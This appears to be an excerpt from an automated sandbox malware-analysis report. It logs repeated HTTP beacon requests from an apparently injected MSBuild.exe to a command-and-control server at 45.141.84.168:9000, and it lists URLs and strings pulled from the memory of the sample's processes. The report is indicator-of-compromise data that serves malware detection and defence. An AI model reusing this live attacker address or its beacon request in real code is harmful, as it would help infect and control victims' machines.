Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive

Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: new Voa({wP:"Elon",VR:"Musk",SP:"Elon Musk",YM:new d2({name:"Twitter",NG:void 0,domain:"www.twitter.com",description:"Twitter, Inc. is an American social media company based in San Francisco, California. The company operates the microblogging and social networking service Twitter. It previously operated the Vine short video app and Periscope livestreaming service.",PF:2006,timeZone:void 0,cK:void 0,mG:void 0,ev:new a2({AI:void 0,eD:void 0,dD:void 0,aF:7500,bF:void 0,bH:void 0,jD:void 0,oF:void 0, equals www.twitter.com (Twitter)
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: new v1({Rc:"https://www.facebook.com/canva/videos/454017005125464/",Ld:"Facebook",timestamp:15337116E5,html:'<div style="max-width: 660px;"><div style="left: 0; width: 100%; height: 0; position: relative; padding-bottom: 56.25%;"><iframe src="https://canva-embed.com/api/iframe?url=https%3A%2F%2Ffacebook.com%2Fcanva%2Fvideos%2F454017005125464&key=f2ccf205ca1e431ca542bfeda26341a4&app=1" style="border: 0; top: 0; left: 0; width: 100%; height: 100%; position: absolute;" allowfullscreen allow="autoplay; encrypted-media"></iframe></div></div>',height:0, equals www.facebook.com (Facebook)
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: new v1({Rc:"https://www.youtube.com/watch?v=3FZGN7BCs6k&t=13s",Ld:"YouTube",timestamp:15337116E5,html:'<iframe width="459" height="344" src="https://www.youtube.com/embed/3FZGN7BCs6k?rel=0&showinfo=0&start=13" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>',width:459,height:344,title:"Canva on Vimeo"}); equals www.youtube.com (Youtube)

Source: MSBuild.exe, 0000000C.00000002.2921996960.0000000002E7C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002E90000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168
Source: MSBuild.exe, 0000000C.00000002.2921996960.0000000002E7C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168:9000
Source: MSBuild.exe, 0000000C.00000002.2921996960.0000000002E7C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002E90000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08
Source: MSBuild.exe, 0000000C.00000002.2916287723.000000000116F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08/
Source: MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08P
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000005.00000002.2333840667.000000000AA5A000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F717C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: powershell.exe, 00000005.00000002.2333840667.000000000AA5A000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F717C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: powershell.exe, 00000005.00000002.2329468625.0000000008830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftf?
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: svchost.exe, 0000000B.00000003.2239961611.000001EFC7618000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000000B.00000003.2239961611.000001EFC7618000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000B.00000003.2239961611.000001EFC7618000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000000B.00000003.2239961611.000001EFC764D000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.11.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ghiblipic.tumblr.com/image/176076545875
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://int3.de/
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://jedwatson.github.io/classnames
Source: powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: dobi.exe, 00000008.00000002.2244640646.000001F717C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: MSBuild.exe, 0000000C.00000002.2921996960.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/d
Source: MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/h
Source: powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.2220622751.0000000004B71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010DE000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: http://vovsoft.com
Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F717BCD000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2191379305.0000000000C39000.00000002.00000001.01000000.0000000A.sdmp, svchost.exe, 0000000B.00000003.2286365154.000001EFC82DE000.00000004.00000020.00020000.00000000.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010EA000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: http://vovsoft.com/
Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010DE000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: http://vovsoft.com/blog/how-to-activate-using-license-key/open
Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010EA000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: http://vovsoft.com/blog/how-to-uninstall-vovsoft-software/
Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://vovsoft.com/help/
Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010E4000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: http://vovsoft.comopen
Source: powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, dobi.exe, 00000008.00000002.2230293150.000001F714F2E000.00000004.00001000.00020000.00000000.sdmp, coml.exe, 0000000E.00000002.2589470704.0000018D136AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: dobi.exe, 00000008.00000002.2313695689.000001F71833C000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.000000000442C000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000005.00000002.2220622751.0000000004B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBkq
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canva-embed.com/aCl7bwm?app=1
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canva-embed.com/api/iframe?url=http%3A%2F%2Fghiblipic.tumblr.com%2Fimage%2F176076545875&
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canva-embed.com/api/iframe?url=https%3A%2F%2Fflickr.com%2Fphotos%2Fjapveloso%2F6810496891&am
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canva-embed.com/api/iframe?url=https%3A%2F%2Fitunes.apple.com%2Fau%2Falbum%2Fdeluxe%2F119370
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canva-embed.com/api/iframe?url=https%3A%2F%2Fpinterest.com.au%2Fpin%2F843369467696424285&amp
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canva-embed.com/api/iframe?url=https%3A%2F%2Fwww.instagram.com%2Fp%2FBSMaDhvFcFl%2F%3Futm_so
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://chrome.google.com/webstore/category/extensions
